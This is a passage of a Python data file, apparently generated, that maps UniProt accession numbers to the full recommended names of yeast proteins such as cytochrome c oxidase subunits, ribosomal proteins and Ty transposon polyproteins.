'P00359' : ntuniprot(RecName_Full='Glyceraldehyde-3-phosphate dehydrogenase 3'),
'P00360' : ntuniprot(RecName_Full='Glyceraldehyde-3-phosphate dehydrogenase 1'),
'P00401' : ntuniprot(RecName_Full='Cytochrome c oxidase subunit 1'),
'P00410' : ntuniprot(RecName_Full='Cytochrome c oxidase subunit 2'),
'P00420' : ntuniprot(RecName_Full='Cytochrome c oxidase subunit 3'),
'P00424' : ntuniprot(RecName_Full='Cytochrome c oxidase polypeptide 5A, mitochondrial'),
'P00425' : ntuniprot(RecName_Full='Cytochrome c oxidase polypeptide 5B, mitochondrial'),
'P00427' : ntuniprot(RecName_Full='Cytochrome c oxidase subunit 6, mitochondrial'),
'P00431' : ntuniprot(RecName_Full='Cytochrome c peroxidase, mitochondrial'),
'P00445' : ntuniprot(RecName_Full='Superoxide dismutase [Cu-Zn]'),
'P00447' : ntuniprot(RecName_Full='Superoxide dismutase [Mn], mitochondrial'),
'P00498' : ntuniprot(RecName_Full='ATP phosphoribosyltransferase'),
'P00546' : ntuniprot(RecName_Full='Cyclin-dependent kinase 1'),
'P00549' : ntuniprot(RecName_Full='Pyruvate kinase 1'),
'P00560' : ntuniprot(RecName_Full='Phosphoglycerate kinase'),
'P00572' : ntuniprot(RecName_Full='Thymidylate kinase'),
'P00635' : ntuniprot(RecName_Full='Repressible acid phosphatase'),
'P00724' : ntuniprot(RecName_Full='Invertase 2'),
'P00729' : ntuniprot(RecName_Full='Carboxypeptidase Y {ECO:0000303|Ref.4}'),
'P00812' : ntuniprot(RecName_Full='Arginase'),
'P00815' : ntuniprot(RecName_Full='Histidine biosynthesis trifunctional protein'),
'P00817' : ntuniprot(RecName_Full='Inorganic pyrophosphatase'),
'P00830' : ntuniprot(RecName_Full='ATP synthase subunit beta, mitochondrial'),
'P00854' : ntuniprot(RecName_Full='ATP synthase subunit a'),
'P00856' : ntuniprot(RecName_Full='ATP synthase protein 8'),
'P00890' : ntuniprot(RecName_Full='Citrate synthase, mitochondrial {ECO:0000303|PubMed:6090126}'),
'P00899' : ntuniprot(RecName_Full='Anthranilate synthase component 1'),
'P00912' : ntuniprot(RecName_Full="N-(5'-phosphoribosyl)anthranilate isomerase"),
'P00924' : ntuniprot(RecName_Full='Enolase 1'),
'P00925' : ntuniprot(RecName_Full='Enolase 2'),
'P00927' : ntuniprot(RecName_Full='Threonine dehydratase, mitochondrial'),
'P00931' : ntuniprot(RecName_Full='Tryptophan synthase'),
'P00937' : ntuniprot(RecName_Full='Multifunctional tryptophan biosynthesis protein'),
'P00942' : ntuniprot(RecName_Full='Triosephosphate isomerase'),
'P00950' : ntuniprot(RecName_Full='Phosphoglycerate mutase 1'),
'P00958' : ntuniprot(RecName_Full='Methionine--tRNA ligase, cytoplasmic'),
'P01094' : ntuniprot(RecName_Full='Protease A inhibitor 3'),
'P01097' : ntuniprot(RecName_Full='ATPase inhibitor, mitochondrial {ECO:0000305}'),
'P01098' : ntuniprot(RecName_Full='ATPase-stabilizing factor 9 kDa, mitochondrial {ECO:0000305}'),
'P01119' : ntuniprot(RecName_Full='Ras-like protein 1'),
'P01120' : ntuniprot(RecName_Full='Ras-like protein 2'),
'P01123' : ntuniprot(RecName_Full='GTP-binding protein YPT1'),
'P01149' : ntuniprot(RecName_Full='Mating factor alpha-1'),
'P02293' : ntuniprot(RecName_Full='Histone H2B.1'),
'P02294' : ntuniprot(RecName_Full='Histone H2B.2'),
'P02309' : ntuniprot(RecName_Full='Histone H4'),
'P02381' : ntuniprot(RecName_Full='Ribosomal protein VAR1, mitochondrial'),
'P02400' : ntuniprot(RecName_Full='60S acidic ribosomal protein P2-beta {ECO:0000303|PubMed:9559554}'),
'P02406' : ntuniprot(RecName_Full='60S ribosomal protein L28 {ECO:0000303|PubMed:9559554}'),
'P02407' : ntuniprot(RecName_Full='40S ribosomal protein S17-A {ECO:0000303|PubMed:9559554}'),
'P02557' : ntuniprot(RecName_Full='Tubulin beta chain'),
'P02829' : ntuniprot(RecName_Full='ATP-dependent molecular chaperone HSP82'),
'P02992' : ntuniprot(RecName_Full='Elongation factor Tu, mitochondrial'),
'P02994' : ntuniprot(RecName_Full='Elongation factor 1-alpha'),
'P03069' : ntuniprot(RecName_Full='General control protein GCN4'),
'P03873' : ntuniprot(RecName_Full='Cytochrome b mRNA maturase bI2'),
'P03874' : ntuniprot(RecName_Full='Cytochrome B pre-mRNA-processing protein 2'),
'P03875' : ntuniprot(RecName_Full='Putative COX1/OXI3 intron 1 protein'),
'P03876' : ntuniprot(RecName_Full='Putative COX1/OXI3 intron 2 protein'),
'P03877' : ntuniprot(RecName_Full='Intron-encoded DNA endonuclease aI3'),
'P03878' : ntuniprot(RecName_Full='Intron-encoded DNA endonuclease aI4'),
'P03879' : ntuniprot(RecName_Full='Intron-encoded RNA maturase bI4'),
'P03881' : ntuniprot(RecName_Full='Uncharacterized mitochondrial protein RF1'),
'P03882' : ntuniprot(RecName_Full='Intron-encoded endonuclease I-SceI'),
'P03962' : ntuniprot(RecName_Full="Orotidine 5'-phosphate decarboxylase"),
'P03965' : ntuniprot(RecName_Full='Carbamoyl-phosphate synthase arginine-specific large chain'),
'P04037' : ntuniprot(RecName_Full='Cytochrome c oxidase subunit 4, mitochondrial'),
'P04039' : ntuniprot(RecName_Full='Cytochrome c oxidase polypeptide VIII, mitochondrial'),
'P04046' : ntuniprot(RecName_Full='Amidophosphoribosyltransferase'),
'P04050' : ntuniprot(RecName_Full='DNA-directed RNA polymerase II subunit RPB1'),
'P04051' : ntuniprot(RecName_Full='DNA-directed RNA polymerase III subunit RPC1'),
'P04076' : ntuniprot(RecName_Full='Argininosuccinate lyase'),
'P04147' : ntuniprot(RecName_Full='Polyadenylate-binding protein, cytoplasmic and nuclear'),
'P04161' : ntuniprot(RecName_Full='Phosphoribosylglycinamide formyltransferase'),
'P04173' : ntuniprot(RecName_Full='3-isopropylmalate dehydrogenase'),
'P04385' : ntuniprot(RecName_Full='Galactokinase'),
'P04386' : ntuniprot(RecName_Full='Regulatory protein GAL4'),
'P04387' : ntuniprot(RecName_Full='Galactose/lactose metabolism regulatory protein GAL80'),
'P04397' : ntuniprot(RecName_Full='Bifunctional protein GAL10'),
'P04449' : ntuniprot(RecName_Full='60S ribosomal protein L24-A {ECO:0000303|PubMed:9559554}'),
'P04456' : ntuniprot(RecName_Full='60S ribosomal protein L25 {ECO:0000303|PubMed:9559554}'),
'P04650' : ntuniprot(RecName_Full='60S ribosomal protein L39 {ECO:0000303|PubMed:9559554}'),
'P04710' : ntuniprot(RecName_Full='ADP,ATP carrier protein 1'),
'P04786' : ntuniprot(RecName_Full='DNA topoisomerase 1'),
'P04801' : ntuniprot(RecName_Full='Threonine--tRNA ligase, cytoplasmic'),
'P04802' : ntuniprot(RecName_Full='Aspartate--tRNA ligase, cytoplasmic'),
'P04803' : ntuniprot(RecName_Full='Tryptophan--tRNA ligase, mitochondrial'),
'P04806' : ntuniprot(RecName_Full='Hexokinase-1'),
'P04807' : ntuniprot(RecName_Full='Hexokinase-2'),
'P04817' : ntuniprot(RecName_Full='Arginine permease CAN1'),
'P04819' : ntuniprot(RecName_Full='DNA ligase 1'),
'P04821' : ntuniprot(RecName_Full='Cell division control protein 25'),
'P04840' : ntuniprot(RecName_Full='Mitochondrial outer membrane protein porin 1'),
'P04911' : ntuniprot(RecName_Full='Histone H2A.1'),
'P04912' : ntuniprot(RecName_Full='Histone H2A.2'),
'P05030' : ntuniprot(RecName_Full='Plasma membrane ATPase 1'),
'P05066' : ntuniprot(RecName_Full='Deoxyribodipyrimidine photo-lyase, mitochondrial'),
'P05085' : ntuniprot(RecName_Full='Arginine metabolism regulation protein II'),
'P05150' : ntuniprot(RecName_Full='Ornithine carbamoyltransferase'),
'P05316' : ntuniprot(RecName_Full='Uracil permease'),
'P05317' : ntuniprot(RecName_Full='60S acidic ribosomal protein P0 {ECO:0000303|PubMed:9559554}'),
'P05318' : ntuniprot(RecName_Full='60S acidic ribosomal protein P1-alpha {ECO:0000303|PubMed:9559554}'),
'P05319' : ntuniprot(RecName_Full='60S acidic ribosomal protein P2-alpha {ECO:0000303|PubMed:9559554}'),
'P05373' : ntuniprot(RecName_Full='Delta-aminolevulinic acid dehydratase'),
'P05374' : ntuniprot(RecName_Full='Phosphatidylethanolamine N-methyltransferase {ECO:0000255|HAMAP-Rule:MF_03217, ECO:0000303|PubMed:2445736}'),
'P05375' : ntuniprot(RecName_Full='Phosphatidyl-N-methylethanolamine N-methyltransferase {ECO:0000255|HAMAP-Rule:MF_03216, ECO:0000305}'),
'P05453' : ntuniprot(RecName_Full='Eukaryotic peptide chain release factor GTP-binding subunit'),
'P05626' : ntuniprot(RecName_Full='ATP synthase subunit 4, mitochondrial'),
'P05694' : ntuniprot(RecName_Full='5-methyltetrahydropteroyltriglutamate--homocysteine methyltransferase'),
'P05737' : ntuniprot(RecName_Full='60S ribosomal protein L7-A {ECO:0000303|PubMed:9559554}'),
'P05738' : ntuniprot(RecName_Full='60S ribosomal protein L9-A {ECO:0000303|PubMed:9559554}'),
'P05739' : ntuniprot(RecName_Full='60S ribosomal protein L6-B {ECO:0000303|PubMed:9559554}'),
'P05740' : ntuniprot(RecName_Full='60S ribosomal protein L17-A {ECO:0000303|PubMed:9559554}'),
'P05743' : ntuniprot(RecName_Full='60S ribosomal protein L26-A {ECO:0000303|PubMed:9559554}'),
'P05744' : ntuniprot(RecName_Full='60S ribosomal protein L33-A {ECO:0000303|PubMed:9559554}'),
'P05745' : ntuniprot(RecName_Full='60S ribosomal protein L36-A {ECO:0000303|PubMed:9559554}'),
'P05747' : ntuniprot(RecName_Full='60S ribosomal protein L29 {ECO:0000303|PubMed:9559554}'),
'P05748' : ntuniprot(RecName_Full='60S ribosomal protein L15-A {ECO:0000303|PubMed:9559554}'),
'P05749' : ntuniprot(RecName_Full='60S ribosomal protein L22-A {ECO:0000303|PubMed:9559554}'),
'P05750' : ntuniprot(RecName_Full='40S ribosomal protein S3 {ECO:0000303|PubMed:9559554}'),
'P05755' : ntuniprot(RecName_Full='40S ribosomal protein S9-B {ECO:0000303|PubMed:9559554}'),
'P05756' : ntuniprot(RecName_Full='40S ribosomal protein S13 {ECO:0000303|PubMed:9559554}'),
'P05759' : ntuniprot(RecName_Full='Ubiquitin-40S ribosomal protein S31'),
'P05986' : ntuniprot(RecName_Full='cAMP-dependent protein kinase type 3'),
'P06100' : ntuniprot(RecName_Full='General negative regulator of transcription subunit 2'),
'P06101' : ntuniprot(RecName_Full='Hsp90 co-chaperone Cdc37'),
'P06102' : ntuniprot(RecName_Full='General negative regulator of transcription subunit 3'),
'P06103' : ntuniprot(RecName_Full='Eukaryotic translation initiation factor 3 subunit B {ECO:0000255|HAMAP-Rule:MF_03001}'),
'P06104' : ntuniprot(RecName_Full='Ubiquitin-conjugating enzyme E2 2'),
'P06105' : ntuniprot(RecName_Full='Protein SCP160'),
'P06106' : ntuniprot(RecName_Full='Homocysteine/cysteine synthase {ECO:0000305}'),
'P06115' : ntuniprot(RecName_Full='Catalase T'),
'P06168' : ntuniprot(RecName_Full='Ketol-acid reductoisomerase, mitochondrial'),
'P06169' : ntuniprot(RecName_Full='Pyruvate decarboxylase isozyme 1'),
'P06174' : ntuniprot(RecName_Full='Uroporphyrinogen-III synthase'),
'P06182' : ntuniprot(RecName_Full='Cytochrome c heme lyase'),
'P06197' : ntuniprot(RecName_Full='CDP-diacylglycerol--inositol 3-phosphatidyltransferase'),
'P06208' : ntuniprot(RecName_Full='2-isopropylmalate synthase'),
'P06242' : ntuniprot(RecName_Full='Serine/threonine-protein kinase KIN28'),
'P06243' : ntuniprot(RecName_Full='Cell division control protein 7'),
'P06244' : ntuniprot(RecName_Full='cAMP-dependent protein kinase type 1'),
'P06245' : ntuniprot(RecName_Full='cAMP-dependent protein kinase type 2'),
'P06367' : ntuniprot(RecName_Full='40S ribosomal protein S14-A {ECO:0000303|PubMed:9559554}'),
'P06633' : ntuniprot(RecName_Full='Imidazoleglycerol-phosphate dehydratase'),
'P06634' : ntuniprot(RecName_Full='ATP-dependent RNA helicase DED1'),
'P06700' : ntuniprot(RecName_Full='NAD-dependent histone deacetylase SIR2'),
'P06701' : ntuniprot(RecName_Full='Regulatory protein SIR3'),
'P06704' : ntuniprot(RecName_Full='Cell division control protein 31'),
'P06738' : ntuniprot(RecName_Full='Glycogen phosphorylase'),
'P06773' : ntuniprot(RecName_Full='Deoxycytidylate deaminase'),
'P06774' : ntuniprot(RecName_Full='Transcriptional activator HAP2'),
'P06775' : ntuniprot(RecName_Full='Histidine permease'),
'P06776' : ntuniprot(RecName_Full="3',5'-cyclic-nucleotide phosphodiesterase 2"),
'P06777' : ntuniprot(RecName_Full='DNA repair protein RAD1'),
'P06778' : ntuniprot(RecName_Full='DNA repair and recombination protein RAD52'),
'P06779' : ntuniprot(RecName_Full='DNA repair protein RAD7'),
'P06780' : ntuniprot(RecName_Full='GTP-binding protein RHO1'),
'P06781' : ntuniprot(RecName_Full='GTP-binding protein RHO2'),
'P06782' : ntuniprot(RecName_Full='Carbon catabolite-derepressing protein kinase {ECO:0000303|PubMed:3526554}'),
'P06783' : ntuniprot(RecName_Full='Pheromone a factor receptor'),
'P06784' : ntuniprot(RecName_Full='Serine/threonine-protein kinase STE7'),
'P06785' : ntuniprot(RecName_Full='Thymidylate synthase'),
'P06786' : ntuniprot(RecName_Full='DNA topoisomerase 2'),
'P06787' : ntuniprot(RecName_Full='Calmodulin'),
'P06838' : ntuniprot(RecName_Full='DNA repair protein RAD10'),
'P06839' : ntuniprot(RecName_Full='General transcription and DNA repair factor IIH helicase subunit XPD'),
'P06843' : ntuniprot(RecName_Full='Protein SPT2'),
'P06844' : ntuniprot(RecName_Full='Protein SPT3'),
'P07143' : ntuniprot(RecName_Full='Cytochrome c1, heme protein, mitochondrial'),
'P07149' : ntuniprot(RecName_Full='Fatty acid synthase subunit beta'),
'P07170' : ntuniprot(RecName_Full='Adenylate kinase {ECO:0000255|HAMAP-Rule:MF_03168}'),
'P07172' : ntuniprot(RecName_Full='Histidinol-phosphate aminotransferase'),
'P07213' : ntuniprot(RecName_Full='Mitochondrial import receptor subunit TOM70'),
'P07236' : ntuniprot(RecName_Full='Threonine--tRNA ligase, mitochondrial'),
'P07244' : ntuniprot(RecName_Full='Bifunctional purine biosynthetic protein ADE5,7'),
'P07245' : ntuniprot(RecName_Full='C-1-tetrahydrofolate synthase, cytoplasmic'),
'P07246' : ntuniprot(RecName_Full='Alcohol dehydrogenase 3, mitochondrial'),
'P07248' : ntuniprot(RecName_Full='Regulatory protein ADR1'),
'P07249' : ntuniprot(RecName_Full='Arginine metabolism regulation protein I'),
'P07250' : ntuniprot(RecName_Full='Inositol polyphosphate multikinase'),
'P07251' : ntuniprot(RecName_Full='ATP synthase subunit alpha, mitochondrial'),
'P07252' : ntuniprot(RecName_Full='Cytochrome B pre-mRNA-processing protein 1'),
'P07253' : ntuniprot(RecName_Full='Cytochrome B pre-mRNA-processing protein 6'),
'P07255' : ntuniprot(RecName_Full='Cytochrome c oxidase subunit 7A'),
'P07256' : ntuniprot(RecName_Full='Cytochrome b-c1 complex subunit 1, mitochondrial'),
'P07257' : ntuniprot(RecName_Full='Cytochrome b-c1 complex subunit 2, mitochondrial'),
'P07258' : ntuniprot(RecName_Full='Carbamoyl-phosphate synthase arginine-specific small chain'),
'P07259' : ntuniprot(RecName_Full='Protein URA2'),
'P07260' : ntuniprot(RecName_Full='Eukaryotic translation initiation factor 4E'),
'P07261' : ntuniprot(RecName_Full='Glycolytic genes transcriptional activator GCR1'),
'P07262' : ntuniprot(RecName_Full='NADP-specific glutamate dehydrogenase 1'),
'P07263' : ntuniprot(RecName_Full='Histidine--tRNA ligase, mitochondrial'),
'P07264' : ntuniprot(RecName_Full='3-isopropylmalate dehydratase'),
'P07266' : ntuniprot(RecName_Full='Mitochondrial RNA-splicing protein MRS1'),
'P07267' : ntuniprot(RecName_Full='Saccharopepsin'),
'P07269' : ntuniprot(RecName_Full='Regulatory protein PHO2'),
'P07270' : ntuniprot(RecName_Full='Phosphate system positive regulatory protein PHO4'),
'P07271' : ntuniprot(RecName_Full='ATP-dependent DNA helicase PIF1 {ECO:0000255|HAMAP-Rule:MF_03176}'),
'P07272' : ntuniprot(RecName_Full='Pyrimidine pathway regulatory protein 1'),
'P07273' : ntuniprot(RecName_Full='Transcription elongation factor S-II'),
'P07274' : ntuniprot(RecName_Full='Profilin'),
'P07275' : ntuniprot(RecName_Full='Delta-1-pyrroline-5-carboxylate dehydrogenase, mitochondrial'),
'P07276' : ntuniprot(RecName_Full='DNA repair protein RAD2'),
'P07277' : ntuniprot(RecName_Full='Mevalonate kinase {ECO:0000305}'),
'P07278' : ntuniprot(RecName_Full='cAMP-dependent protein kinase regulatory subunit'),
'P07280' : ntuniprot(RecName_Full='40S ribosomal protein S19-A {ECO:0000303|PubMed:9559554}'),
'P07281' : ntuniprot(RecName_Full='40S ribosomal protein S19-B {ECO:0000303|PubMed:9559554}'),
'P07283' : ntuniprot(RecName_Full='Phosphomannomutase'),
'P07284' : ntuniprot(RecName_Full='Serine--tRNA ligase, cytoplasmic'),
'P07285' : ntuniprot(RecName_Full='Anthranilate phosphoribosyltransferase'),
'P07286' : ntuniprot(RecName_Full='UDP-N-acetylglucosamine--dolichyl-phosphate N-acetylglucosaminephosphotransferase'),
'P07342' : ntuniprot(RecName_Full='Acetolactate synthase catalytic subunit, mitochondrial'),
'P07347' : ntuniprot(RecName_Full='N-terminal acetyltransferase A complex catalytic subunit ARD1'),
'P07390' : ntuniprot(RecName_Full='COX3 mRNA-specific translational activator PET494'),
'P07560' : ntuniprot(RecName_Full='Ras-related protein SEC4'),
'P07702' : ntuniprot(RecName_Full='L-2-aminoadipate reductase'),
'P07703' : ntuniprot(RecName_Full='DNA-directed RNA polymerases I and III subunit RPAC1 {ECO:0000305}'),
'P07806' : ntuniprot(RecName_Full='Valine--tRNA ligase, mitochondrial'),
'P07807' : ntuniprot(RecName_Full='Dihydrofolate reductase'),
'P07834' : ntuniprot(RecName_Full='Cell division control protein 4'),
'P07866' : ntuniprot(RecName_Full='Guanine nucleotide exchange factor LTE1'),
'P07884' : ntuniprot(RecName_Full='tRNA dimethylallyltransferase'),
'P07991' : ntuniprot(RecName_Full='Ornithine aminotransferase'),
'P08004' : ntuniprot(RecName_Full='Chitin synthase 1'),
'P08018' : ntuniprot(RecName_Full='MAP kinase kinase PBS2'),
'P08019' : ntuniprot(RecName_Full='Glucoamylase, intracellular sporulation-specific'),
'P08067' : ntuniprot(RecName_Full='Cytochrome b-c1 complex subunit Rieske, mitochondrial'),
'P08153' : ntuniprot(RecName_Full='Transcriptional factor SWI5'),
'P08417' : ntuniprot(RecName_Full='Fumarate hydratase, mitochondrial'),
'P08425' : ntuniprot(RecName_Full='Phenylalanine--tRNA ligase, mitochondrial'),
'P08431' : ntuniprot(RecName_Full='Galactose-1-phosphate uridylyltransferase'),
'P08432' : ntuniprot(RecName_Full='Ornithine decarboxylase'),
'P08456' : ntuniprot(RecName_Full='CDP-diacylglycerol--serine O-phosphatidyltransferase'),
'P08458' : ntuniprot(RecName_Full='Sporulation-specific protein 1'),
'P08459' : ntuniprot(RecName_Full='Sporulation-specific protein 2'),
'P08465' : ntuniprot(RecName_Full='Homoserine O-acetyltransferase'),
'P08466' : ntuniprot(RecName_Full='Mitochondrial nuclease'),
'P08468' : ntuniprot(RecName_Full='Protein PET111, mitochondrial'),
'P08518' : ntuniprot(RecName_Full='DNA-directed RNA polymerase II subunit RPB2'),
'P08521' : ntuniprot(RecName_Full='Arginine attenuator peptide'),
'P08524' : ntuniprot(RecName_Full='Farnesyl pyrophosphate synthase'),
'P08525' : ntuniprot(RecName_Full='Cytochrome b-c1 complex subunit 8'),
'P08536' : ntuniprot(RecName_Full='Sulfate adenylyltransferase {ECO:0000255|HAMAP-Rule:MF_03106}'),
'P08539' : ntuniprot(RecName_Full='Guanine nucleotide-binding protein alpha-1 subunit'),
'P08566' : ntuniprot(RecName_Full='Pentafunctional AROM polypeptide {ECO:0000255|HAMAP-Rule:MF_03143}'),
'P08593' : ntuniprot(RecName_Full='Protein MSS18'),
'P08638' : ntuniprot(RecName_Full='Regulatory protein LEU3'),
'P08640' : ntuniprot(RecName_Full='Flocculation protein FLO11'),
'P08678' : ntuniprot(RecName_Full='Adenylate cyclase'),
'P08679' : ntuniprot(RecName_Full='Citrate synthase, peroxisomal'),
'P08964' : ntuniprot(RecName_Full='Myosin-1'),
'P09007' : ntuniprot(RecName_Full='Pre-rRNA-processing protein SRD1'),
'P09032' : ntuniprot(RecName_Full='Translation initiation factor eIF-2B subunit gamma'),
'P09064' : ntuniprot(RecName_Full='Eukaryotic translation initiation factor 2 subunit beta'),
'P09119' : ntuniprot(RecName_Full='Cell division control protein 6'),
'P09201' : ntuniprot(RecName_Full='Fructose-1,6-bisphosphatase'),
'P09232' : ntuniprot(RecName_Full='Cerevisin'),
'P09368' : ntuniprot(RecName_Full='Proline dehydrogenase, mitochondrial'),
'P09435' : ntuniprot(RecName_Full='Heat shock protein SSA3'),
'P09436' : ntuniprot(RecName_Full='Isoleucine--tRNA ligase, cytoplasmic'),
'P09440' : ntuniprot(RecName_Full='C-1-tetrahydrofolate synthase, mitochondrial'),
'P09457' : ntuniprot(RecName_Full='ATP synthase subunit 5, mitochondrial'),
'P09547' : ntuniprot(RecName_Full='SWI/SNF chromatin-remodeling complex subunit SWI1'),
'P09620' : ntuniprot(RecName_Full='Pheromone-processing carboxypeptidase KEX1'),
'P09624' : ntuniprot(RecName_Full='Dihydrolipoyl dehydrogenase, mitochondrial'),
'P09733' : ntuniprot(RecName_Full='Tubulin alpha-1 chain'),
'P09734' : ntuniprot(RecName_Full='Tubulin alpha-3 chain'),
'P09798' : ntuniprot(RecName_Full='Anaphase-promoting complex subunit CDC16'),
'P09880' : ntuniprot(RecName_Full='tRNA ligase'),
'P09932' : ntuniprot(RecName_Full='Homothallic switching endonuclease'),
'P09937' : ntuniprot(RecName_Full='Sporulation-specific protein 4'),
'P09938' : ntuniprot(RecName_Full='Ribonucleoside-diphosphate reductase small chain 1'),
'P09950' : ntuniprot(RecName_Full='5-aminolevulinate synthase, mitochondrial {ECO:0000303|PubMed:6381051}'),
'P09959' : ntuniprot(RecName_Full='Regulatory protein SWI6'),
'P0C074' : ntuniprot(RecName_Full='RDS3 complex subunit 10'),
'P0C0T4' : ntuniprot(RecName_Full='40S ribosomal protein S25-B {ECO:0000303|PubMed:9559554}'),
'P0C0V2' : ntuniprot(RecName_Full='UPF0320 protein YER188C-A'),
'P0C0V8' : ntuniprot(RecName_Full='40S ribosomal protein S21-A {ECO:0000303|PubMed:9559554}'),
'P0C0W1' : ntuniprot(RecName_Full='40S ribosomal protein S22-A {ECO:0000303|PubMed:9559554}'),
'P0C0W9' : ntuniprot(RecName_Full='60S ribosomal protein L11-A {ECO:0000303|PubMed:9559554}'),
'P0C0X0' : ntuniprot(RecName_Full='40S ribosomal protein S28-B {ECO:0000303|PubMed:9559554}'),
'P0C1Z1' : ntuniprot(RecName_Full='Uncharacterized protein YDR524W-C'),
'P0C268' : ntuniprot(RecName_Full='Uncharacterized protein YBL039W-B'),
'P0C269' : ntuniprot(RecName_Full='Uncharacterized protein YBL100W-C'),
'P0C270' : ntuniprot(RecName_Full='Putative uncharacterized protein YER138W-A'),
'P0C271' : ntuniprot(RecName_Full='Uncharacterized protein YNL097C-B'),
'P0C272' : ntuniprot(RecName_Full='Uncharacterized protein YOL013W-A'),
'P0C289' : ntuniprot(RecName_Full='Putative uncharacterized protein YDR034C-A'),
'P0C2H6' : ntuniprot(RecName_Full='60S ribosomal protein L27-A {ECO:0000303|PubMed:9559554}'),
'P0C2H7' : ntuniprot(RecName_Full='60S ribosomal protein L27-B {ECO:0000303|PubMed:9559554}'),
'P0C2H8' : ntuniprot(RecName_Full='60S ribosomal protein L31-A {ECO:0000303|PubMed:9559554}'),
'P0C2H9' : ntuniprot(RecName_Full='60S ribosomal protein L31-B {ECO:0000303|PubMed:9559554}'),
'P0C2I2' : ntuniprot(RecName_Full='Transposon Ty1-DR5 Gag-Pol polyprotein'),
'P0C2I3' : ntuniprot(RecName_Full='Transposon Ty1-DR6 Gag-Pol polyprotein'),
'P0C2I4' : ntuniprot(RecName_Full='Transposon Ty1-H Gag polyprotein'),
'P0C2I5' : ntuniprot(RecName_Full='Transposon Ty1-LR2 Gag-Pol polyprotein'),
'P0C2I6' : ntuniprot(RecName_Full='Transposon Ty1-LR3 Gag-Pol polyprotein'),
'P0C2I8' : ntuniprot(RecName_Full='Transposon Ty1-LR4 Gag polyprotein'),
'P0C2I9' : ntuniprot(RecName_Full='Transposon Ty1-PR1 Gag-Pol polyprotein'),
'P0C2J0' : ntuniprot(RecName_Full='Transposon Ty1-PR2 Gag-Pol polyprotein'),
'P0C2J1' : ntuniprot(RecName_Full='Transposon Ty1-PR3 Gag-Pol polyprotein'),
'P0C2J3' : ntuniprot(RecName_Full='Transposon Ty2-LR1 Gag-Pol polyprotein'),
'P0C2J4' : ntuniprot(RecName_Full='Transposon Ty2-LR1 Gag polyprotein'),
'P0C2J7' : ntuniprot(RecName_Full='Transposon Ty4-H Gag-Pol polyprotein'),
'P0C5L6' : ntuniprot(RecName_Full='Uncharacterized protein YDL022C-A'),
'P0C5N3' : ntuniprot(RecName_Full='Uncharacterized protein YGL041W-A, mitochondrial'),
'P0C5R9' : ntuniprot(RecName_Full='Uncharacterized protein YPR170W-B'),
'P0CD90' : ntuniprot(RecName_Full='Aquaporin-like protein 2'),
'P0CD91' : ntuniprot(RecName_Full='Aquaporin-1'),
'P0CD97' : ntuniprot(RecName_Full='Uncharacterized protein YER039C-A'),
'P0CD98' : ntuniprot(RecName_Full='Putative uncharacterized protein YLL053C'),
'P0CD99' : ntuniprot(RecName_Full='Alpha-glucosides permease MPH2'),
'P0CE00' : ntuniprot(RecName_Full='Alpha-glucosides permease MPH3'),
'P0CE11' : ntuniprot(RecName_Full='Probable GDP-mannose transporter 2'),
'P0CE41' : ntuniprot(RecName_Full='Heme-responsive zinc finger transcription factor HAP1'),
'P0CE68' : ntuniprot(RecName_Full='ABC transporter NFT1'),
'P0CE69' : ntuniprot(RecName_Full='Putative uncharacterized protein YKR104W'),
'P0CE85' : ntuniprot(RecName_Full='Seripauperin-19'),
'P0CE86' : ntuniprot(RecName_Full='Seripauperin-21'),
'P0CE87' : ntuniprot(RecName_Full='Seripauperin-22'),
'P0CE88' : ntuniprot(RecName_Full='Seripauperin-1'),
'P0CE89' : ntuniprot(RecName_Full='Seripauperin-14'),
'P0CE90' : ntuniprot(RecName_Full='Seripauperin-6'),
'P0CE91' : ntuniprot(RecName_Full='Seripauperin-18'),
'P0CE92' : ntuniprot(RecName_Full='Seripauperin-8'),
'P0CE93' : ntuniprot(RecName_Full='Seripauperin-11'),
'P0CE96' : ntuniprot(RecName_Full='Putative uncharacterized protein YLR156W'),
'P0CE97' : ntuniprot(RecName_Full='Putative uncharacterized protein YLR159W'),
'P0CE98' : ntuniprot(RecName_Full='Putative uncharacterized protein YLR161W'),
'P0CE99' : ntuniprot(RecName_Full='Putative uncharacterized protein YLR157W-D'),
'P0CF00' : ntuniprot(RecName_Full='Putative uncharacterized protein YLR157W-E'),
'P0CF16' : ntuniprot(RecName_Full='UPF0507 protein YML003W'),
'P0CF17' : ntuniprot(RecName_Full='UPF0507 protein YML002W'),
'P0CF18' : ntuniprot(RecName_Full='Uncharacterized protein YMR085W'),
'P0CF19' : ntuniprot(RecName_Full='Putative uncharacterized transporter YOL162W'),
'P0CF20' : ntuniprot(RecName_Full='Putative uncharacterized transporter YOL163W'),
'P0CG63' : ntuniprot(RecName_Full='Polyubiquitin'),
'P0CH08' : ntuniprot(RecName_Full='Ubiquitin-60S ribosomal protein L40'),
'P0CH09' : ntuniprot(RecName_Full='Ubiquitin-60S ribosomal protein L40'),
'P0CH63' : ntuniprot(RecName_Full='Cyanamide hydratase DDI2 {ECO:0000303|PubMed:25847245}'),
'P0CH64' : ntuniprot(RecName_Full='Cyanamide hydratase DDI3 {ECO:0000303|PubMed:25847245}'),
'P0CI66' : ntuniprot(RecName_Full='Putative uncharacterized protein YAR062W'),
'P0CI67' : ntuniprot(RecName_Full='Uncharacterized protein YHR213W'),
'P0CS90' : ntuniprot(RecName_Full='Heat shock protein SSC1, mitochondrial'),
'P0CT04' : ntuniprot(RecName_Full='Protease B inhibitor 2'),
'P0CW40' : ntuniprot(RecName_Full='Oligo-1,6-glucosidase IMA3'),
'P0CW41' : ntuniprot(RecName_Full='Oligo-1,6-glucosidase IMA4'),
'P0CX08' : ntuniprot(RecName_Full='Mannitol dehydrogenase DSF1'),
'P0CX09' : ntuniprot(RecName_Full='Mannitol dehydrogenase YNR073C'),
'P0CX10' : ntuniprot(RecName_Full='Enolase-related protein 1'),
'P0CX11' : ntuniprot(RecName_Full='Enolase-related protein 2'),
'P0CX12' : ntuniprot(RecName_Full='Protein COS2'),
'P0CX13' : ntuniprot(RecName_Full='Protein COS3'),
'P0CX14' : ntuniprot(RecName_Full="Y' element ATP-dependent helicase protein 1 copy 3"),
'P0CX15' : ntuniprot(RecName_Full="Y' element ATP-dependent helicase protein 1 copy 7"),
'P0CX16' : ntuniprot(RecName_Full='Putative uncharacterized protein YEL076C-A'),
'P0CX17' : ntuniprot(RecName_Full='Putative uncharacterized protein YLR464W'),
'P0CX18' : ntuniprot(RecName_Full='Putative GPI-anchored protein YAR066W'),
'P0CX19' : ntuniprot(RecName_Full='Putative GPI-anchored protein YHR214W'),
'P0CX20' : ntuniprot(RecName_Full="Y' element ATP-dependent helicase protein 1 copy 1"),
